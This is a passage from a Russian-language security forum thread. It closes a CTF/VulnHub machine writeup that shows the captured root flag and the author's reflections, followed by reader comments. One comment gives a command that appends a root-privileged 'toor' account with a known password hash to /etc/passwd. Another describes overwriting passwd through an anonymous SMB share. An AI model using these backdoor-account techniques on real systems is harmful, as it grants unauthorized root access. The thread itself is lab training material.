cat root.txt
(\
\'\
 \'\     __________ 
 / '|   ()_________)
 \ '/    \ ~~~~~~~~ \
   \       \ ~~~~~~   \
   ==).      \__________\
  (__)       ()__________)


34d3ecb1bbd092bcb87954cee55d88d3

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

Резюме
Что могу сказать об этой машине... Она не оказалась сложной, просто были моменты которые требовали поиск информации для решение задач, для которых не хватало знаний. Я явно прошел ее не по плану автора, так как флаг юзера я брал уже в конце вместе с рутовским, а значит наверное есть альтернативное решение с получением юзера miguel и уже выходом на root.
Но все это только подталкивает задержаться на ней и поработать еще, так как остались еще службы которые я не задействовал, тот же MySQL.

Выводы:

Чему научила эта машина?
Наверное в моем прохождении особо не чему, так как не пришлось использовать разные техники. Например:
1. Обход фильтрации на сервере
2. Работа с MySQL


В целом появлялось желание подсматреть, но после Sunset Decoy, я понял что в состоянии решить задачу сам. Главное не торопиться и периодически переключаться на что нибуть в случае подвисания. Я еще поработаю над машиной и в следующем обзоре опишу иные методы проникновения.

Спасибо!
 

Mudblood-

Green Team
17.12.2020
21
12
BIT
0
Спасибо за статью! Есть вопрос, как ты скачиваешь себе машину, ты купил подписку на сайте?
 

M0r7iF3r

Green Team
01.09.2020
102
2
BIT
304
Получил хеш пароля test123, теперь нужно отредактировать файл /etc/passwd. Скажу сразу, через коману echo “hash” >> /etc/passwd выполнить задачу не удасться, так как в файл добавится все, кроме самого хеша. Почему так, я не разбирался еще, но как-то попробую узнать.
Можно попробовать заменить двойные кавычки на одинарные, чтобы bash не обрабатывал содержимое
echo 'toor:$1$new$5.ite0q7hk9LLso7LljIk/:0:0:root:/root:/bin/bash' >> /etc/passwd
 

ALT1RE

Green Team
11.10.2020
44
64
BIT
265
Спасибо за райтап! Очень нравится стиль.
Флаги у меня в других местах лежали, а под NULL юзером можно было залить отредактированный файл passwd с нужным паролем рута (smb: \etc\> put passwd).
 

Qulan

Red Team
06.12.2020
171
513
BIT
371
Спасибо за райтап! Очень нравится стиль.
Флаги у меня в других местах лежали, а под NULL юзером можно было залить отредактированный файл passwd с нужным паролем рута (smb: \etc\> put passwd).
Да, можно было. Но я это уже потом понял)
 
  • Нравится
Реакции: ALT1RE

yamakasy

Green Team
30.10.2020
158
113
BIT
0
Спасибо большое за статью. такой вопрос, ыидно что у вас присутствует неплохой теоритический плацдарм, где его брали? список литературы был взят с этого сайта или вы составляли свой? если свой то как выбирали?
 
  • Нравится
Реакции: Adrian Grum

Qulan

Red Team
06.12.2020
171
513
BIT
371
Спасибо большое за статью. такой вопрос, ыидно что у вас присутствует неплохой теоритический плацдарм, где его брали? список литературы был взят с этого сайта или вы составляли свой? если свой то как выбирали?
Вы не первый кто задает подобный вопрос ))) Если дадите мне немного времени, пару дней, я все ответы дам в посте, так как не хочется и нет времени отвечать на одно и тоже всем кто интересуется. Поэтому чуток потерпите и следующий пост ответит на все ваши вопросы.
С Уважением
 

yamakasy

Green Team
30.10.2020
158
113
BIT
0
Вы не первый кто задает подобный вопрос ))) Если дадите мне немного времени, пару дней, я все ответы дам в посте, так как не хочется и нет времени отвечать на одно и тоже всем кто интересуется. Поэтому чуток потерпите и следующий пост ответит на все ваши вопросы.
С Уважением
При много благодарен. Буду ждать с нетерпением
 
  • Нравится
Реакции: Adrian Grum
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!